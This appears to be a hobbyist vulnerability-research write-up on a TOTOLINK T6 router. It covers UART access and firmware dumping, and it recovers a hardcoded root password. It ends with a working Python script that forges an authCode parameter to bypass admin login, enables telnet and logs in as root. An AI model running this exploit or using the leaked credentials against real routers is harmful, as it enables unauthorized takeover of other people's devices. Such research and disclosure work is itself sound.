
I do Vuln research in my free time. Today, my target is TOTOLINK T6 V3.0, The firmware version is V4.1.5cu.748_B20211015
. After open the plastic shell, I see 4 pin with GND
, TX
, RX
, VCC
. It should be UART, with the correct baud rate (38400
). After line and line of log, they ask me for credential to login.
Dumping the Firmware
You can download the newest firmware by this link. The device use XM25QH64C
SOP-8, I desolder it and use XGecu T48
to dump the firmware, then use binwalk
on it.
Finding login credentials
We have SquashFS
at 0x247486
, let’s extract it first. First we wanna read etc/shadow
for login credentials. There are shadow
and shadow.sample
file. The shadow
file is link to /var/show
, we dont have this file. Lets read init script in init.d
folder.
In the rcS
file, we can see the device will copy the /etc/shadow.sample
to /var/shadow
. Therefore, the shadow.sample
will contain login credentials.
cp /etc/shadow.sample /var/shadow
cp /etc/passwd.sample /var/passwd
#cp /etc/vsftpd.conf /var/config/vsftpd.conf
Lets look inside that file.
root:$1$BJXeRIOB$w1dFteNXpGDcSSWBMGsl2/:16090:0:99999:7:::
nobody:*:14495:0:99999:7:::
We can crack the hash and the login will be root - cs2012
, but cant login because its wrong.
Finding the “real” credentials
Trace the output of UART, we can see they gonna change password during boot time, we need to find where it happen.
Back to the rcS
script, we can see they call cs password
after copy shadow.sample
file.
cp /etc/shadow.sample /var/shadow
cp /etc/passwd.sample /var/passwd
#cp /etc/vsftpd.conf /var/config/vsftpd.conf
cs password
Thats why we see the output like New password:
and Retype password:
.
So we need to reverse the cs
binary. We can see they echo KL@UHeZ0
to /var/tmppwd
, use it to change the password for root and delete it.
So the correct credential is root - KL@UHeZ0
.
But…
The problem is I can get a shell only through UART. What if I don’t have access to the physical device ? In the web root folder, I see a quite interesting file named telnet.html
.
This page is use for enable telnet service. If telnet is enabled, we can get a remote shell from the device, sounds great !!
But the problem is we need admin account to enable telnet. We can see the function use for authen in cstecgi.cgi
binary. First it get the username
and password
from request, then compare it with value save on the device.
If all good, the binary create a string to help browser redirect, noted that the authCode
will be 1
if we use correct username/password.
Seem clear, then we continue to look at lighttpd
- a lightweight web server usually used on embedded systems. Let’s see how it process the login phase. Here is the pic about the function named Form_Login
.
TBH, I dont know WTF is going on there, but I can guess it will try to parse the redirect request. It get out the authCode
, username
, password
, goURL
and flag
. It only check the authCode
with 1
or 0
. If 0
-> show the login page, if 1
-> go to the page goURL
.
We can manipulate the authCode
to bypass the login page, then with the same session (they use timestamps
for this), we can turn on telnet. Lets do it:
from pwn import *
import requests, time, sys, os
if len(sys.argv) != 2:
print("[+] Need device IP !!")
exit(0)
http_sv = "http://%s/" % sys.argv[1]
url = "formLoginAuth.htm?authCode=1&userName=admin"
cookie = {"SESSION_ID" : "2:%d:2" % round(time.time())}
bypass_admin_url = http_sv + url
requests.get(bypass_admin_url, cookies=cookie)
cgi_url = "cgi-bin/cstecgi.cgi"
payload = """
{"telnet_enabled":"1","topicurl":"setTelnetCfg"}
"""
enable_telnet_url = http_sv + cgi_url
res = requests.post(enable_telnet_url, data=payload, cookies=cookie)
if res.status_code == 200:
print("[+] Telnet enabled !!\n[+] Get shell...")
sleep(1)
with remote(sys.argv[1], 23) as r:
r.recvuntil(b"login:")
r.sendline(b"root")
r.recvuntil(b"Password:")
r.sendline(b"KL@UHeZ0")
r.sendline(b"ls")
# just for test, r.interactive not working on my :(
result = r.recvall(timeout=3).splitlines()
for i in result:
print(i.decode())
r.interactive()